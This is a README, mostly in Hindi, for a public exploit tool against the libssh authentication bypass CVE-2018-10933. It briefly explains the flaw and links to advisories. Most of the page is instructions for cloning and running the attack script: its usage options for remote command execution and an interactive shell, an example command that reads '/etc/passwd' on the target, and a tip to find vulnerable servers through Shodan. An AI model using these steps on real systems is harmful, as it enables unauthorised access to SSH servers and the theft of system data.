
libSSH-Authentication-Bypass
libssh के सर्वर-साइड स्टेट मशीन में संस्करण 0.7.6 और 0.8.4 से पहले एक कमजोरी पाई गई थी। एक दुर्भावनापूर्ण क्लाइंट बिना प्रमाणीकरण किए चैनल बना सकता था, जिसके परिणामस्वरूप अनधिकृत पहुंच हो सकती थी।
समस्या libssh के प्रमाणीकरण के लिए स्थिति बनाए न रखने के तरीके से उत्पन्न होती है और इसका उपयोग प्रमाणीकरण को बायपास करने के लिए कैसे किया जा सकता है। मूल रूप से, कनेक्शन को एक बहु-चरणीय प्रक्रिया के रूप में सोचें: चरण1, चरण2, चरण3... चूंकि libssh चरणों के क्रम को लागू नहीं करता, आप मूल रूप से चरण1 और चरण2 से गुजरे बिना सीधे चरण3 पर जा सकते हैं।
दिलचस्प बात यह है कि यही समस्या पहले SSH लाइब्रेरी Paramiko में पाई गई थी: CVE-2018-7750।
Exploit-DB : https://www.exploit-db.com/exploits/45638
libSSH द्वारा CVE-2018-10933 के बारे में जानकारी : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
libSSH द्वारा बगफिक्स रिलीज़ : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
sudo apt-get install python3
gh repo clone EmmanuelCruzL/CVE-2018-10933
pip3 install -r requirements.txt
python3 main.py
usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host
Script for the vulnerabilities CVE-2018-10933
positional arguments:
host the ip or domain address of ssh server
options:
-h, --help show this help message and exit
-p PORT, --port PORT The port the service ssh, default [22]
-log, --logfile Logfile to write conn logs
-t, --test check the version of libSSH
-c COMMAND, --command COMMAND
command to execute
-i, --interactive open the interactive mode
python3 main.py 0.0.0.0 -port 22 -t

python3 main.py 0.0.0.0 -p 22 -c "cat /etc/passwd"

python3 main.py 0.0.0.0 -p 22 -l

[!] can find devices vulnerables using shodan.io
- ( 22 Port is default, other ports like (2222, 3333, 4444) might be including libSSH )
